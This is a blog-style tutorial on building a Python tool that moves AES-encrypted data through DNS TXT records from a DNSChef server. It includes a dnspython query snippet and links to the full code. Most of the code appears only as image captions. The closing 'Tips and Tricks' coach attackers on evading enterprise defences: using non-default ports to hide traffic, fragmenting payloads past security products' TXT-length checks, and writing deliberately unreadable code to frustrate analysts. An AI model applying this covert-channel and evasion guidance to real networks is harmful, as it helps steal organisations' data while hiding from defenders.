Encrypted Data Exfiltration with DNS

Hi folks! Long time no see 😀 In this post we will write our exfiltration tool with python and DNS.

We will use;

  • DNSChef
  • dnspython library
  • PyCryptodome library
  • base64 library

First at first, we have to understand some of the DNS basics.

What is DNS? Why we need that?

DNS (Domain Name Server) is a phonebook basically. We know which domain has which IP address with this system because we can’t remember IP addresses. If you try to don’t use domain names and only use IP addresses you will understand what I meant.

Not only domain names but also other informations we can store with DNS. Some of the records:

  1. A Record (Address Record): This is the most basic type of DNS record, and it maps a domain name to an IPv4 address. For example, it translates a hostname like www.example.com to an IP address like
  2. AAAA Record (IPv6 Address Record): Similar to the A record, but it maps a domain name to an IPv6 address, which is the latest IP address format. For instance, www.example.com to 2001:db8::1.
  3. CNAME Record (Canonical Name Record): Used to alias one name to another. For example, if you have blog.example.com and you want it to point to www.example.com, a CNAME record is used.
  4. MX Record (Mail Exchange Record): Specifies a mail server responsible for accepting email messages on behalf of a domain. It’s used for routing emails to the correct server.
  5. TXT Record (Text Record): Allows administrators to insert arbitrary text into a DNS record. This is often used for various verification methods, such as SPF (Sender Policy Framework) and DKIM (DomainKeys Identified Mail).
  6. NS Record (Name Server Record): Indicates the authoritative name servers for a domain. This record is essential for delegating a subdomain to a different DNS server.
  7. PTR Record (Pointer Record): Often used for reverse DNS lookups, mapping an IP address to a domain name, which is the opposite of what A or AAAA records do.
  8. SRV Record (Service Record): Used to define the location of servers for specified services. It includes information like the port number and priority of services for a domain.
  9. SOA Record (Start of Authority Record): Holds essential domain information, such as the primary name server, email of the domain administrator, domain serial number, and others. It’s crucial for managing the DNS zone.

You can find more information about DNS in these links:

Time to explain config file and DNSChef. DNSChef is a tool that we can create our cutie (but evil) DNS server, this is a DNS Proxy. With this tool, you can create fake DNS responses, while spoofing the network you can directing the people which website you want to be visited, and much much more. One thing you have to know, how you will use the tool and DNS 😀

We can use command-line for basic functionalities but in our case, we’re going to use config file for creating more complex DNS responses or TXT records.

The usage of file is simple, [RECORD_NAME] then our records, and it’s done.

The example config.ini that will be used:

DNSChef Config File

DNSChef usage with config file:

dnschef --file [CONFIG_FILE]
Using DNSChef with dnschef.ini

Trying to get information with python(we’ll cover it later) – DEMO 1:

Trying to get information from DNS – 1


Trying to get information from DNS – 2

Now we could get information from DNS server, learnt how to create and tune the server for our purpose.

In the config.ini file, we have some marking texts like “PwIV”, “PwKey”, these will be useful for us to create a storage for encryption and decryption routine values.

Let’s write some code and encrypt-decrypt our data.

We need to import our libraries first:


First function is encryption function that we need to implement:

Encryption Function

You can see “enc_infos” and “enc_infos_return” dictionaries. “enc_infos” for parsing the values and being more understandable while debugging our code. “enc_infos_return” dictionary is a return variable to return all the data in one time.

Basically, we’re creating our IV and Key with get_random_bytes(). Later it, we’re going to store, encrypt the data with creating new cipher and then return the values for decryption, simple.

Second, we need a decryption routine;

All the thing we need to implement, parsing the values and give them to AES decrypt function as bytes (it may be a huge problem if you don’t care).

Decryption Function

The time for the config file creation. Let’s create a sting with marks, replace them with our values.

Config File Creation Function

Trick: while storing the values, I’ll use “eggs”. You can imagine them like easter eggs. Or I like to use this metaphore for them, let’s think that you have 3 different bags and all the bags filled with apples and all of them is same. You can select 3 different items like fruits. For first bag “banana”, for second “grape”, for third “kiwi” and the final result, now you know which is your bag you wanted to find 🙂

If you want to try encryption and decryption functions, first I’ll recommend doing it with config file simply;

Parsing Data from Config File

DNS comes into play, “The function that we need to survive”, “THE GOD OF THE PROJECT”, and it’s pleasure to present “parse_data_from_dns_response”;

Parsing Data from DNS Responses – 1

The same process, we will do for IV and Key. Also, you have a homework, you can do it with loop and write more clean, let’s write it with your knowledge.

Parsing Data from DNS Responses – 2

TXT record is useful for storing long length of strings, there is “255 character” limit but we can tune it with extra TXT records, the data can be fragmanted then you can merge the pieces.

We’re using “dnspython” library to create DNS Queries.

label = "pwd" request = dns.message.make_query(f'{label}.{DOMAIN}', dns.rdatatype.TXT, want_dnssec=True) 
response = dns.query.udp(request, NAMSERVER, port=53) 
response = str(response) response = response[response.find("w00d")+4:response.find("wood")] data_from_dns["enc_key"] = base64.b64decode(response)

At the beginning, with dns.message.make_query function we’re creating our DNS query with subdomain (label), domain, record type and dnssec selection parameters.

“dns.query.udp” will send the request to nameserver which we wanted to communicate with dnschef. You can change the parameters, if you have remote address or another port, there is no limitation (except network limitations), you can create a fake DNS host inside of the enterprise network then get the datas from it.

We mentioned eggs and in the code; “w00t and “woot” used for Cipher-Text, “w00d and “wood” used for Key, “w00b and “woob” used for IV. We need casting for response from QueryMessage to string, then we will use our eggs to find encoded part of the data.

Main Algorithm Illustration:

Now let’s try our code step by step;

1- Config file creation, text encryption and decryption routines;

Output – 1

Output – 2

Config file created, try with dnschef:

I’ll comment other codes, you can add command-line parameters or flags if you want.

And done, we can see the text:

Let’s try for another text “Hacking is so cool!” ;

With DNS and Decryption:

And done, we can get all the datas with TXT records.

Tips and Tricks:

  • If you test an enterprise network, and you know that the dns server use another port like 40053, go with this port to hide your communication better.
  • If you want to see your alarms, keep using the default port and then try others.
  • You can implement fragmantation for bigger files and combine with normal DNS Exfiltration technique with subdomains (https://www.infoblox.com/dns-security-resource-center/dns-security-issues-threats/dns-security-threats-data-exfiltration/)
  • Combining several techniques in one code/project makes you more unvisible especially with this encryption power, because you have to know the algorithm to decryption, the data will be garbage if there is no one can find the algorithm you used in data exfiltration.
  • Some security products control the lenght of TXT records, just add fragmentation and see the magic!
  • Be careful for the types, sometimes you will have type problems while using crypto functions, use the correct type castings.
  • Encoding is life-saver, especially you will work with bytes a lot.
  • Other encryption or decryption algorithms can be added, and you can add them with command-line arguments like 1 for AES, 2 for ABC algorithm and so on.
  • While using these types of codes, if it will be inside of the internal network (it means analyst can see it) just write spaghetti code. Being clear and polite is always good but not every case in our life, don’t waste your time 😀

Complete code: https://github.com/berkotako/DNS_Enc_Exfiltration/blob/main/main.py

I hope the informations I gave will be useful for your projects and tooling techniques.

This year I want to write more despite of my dense of schedule, we’ll see how will it done.

Thanks for your time and support, have a wondeful day!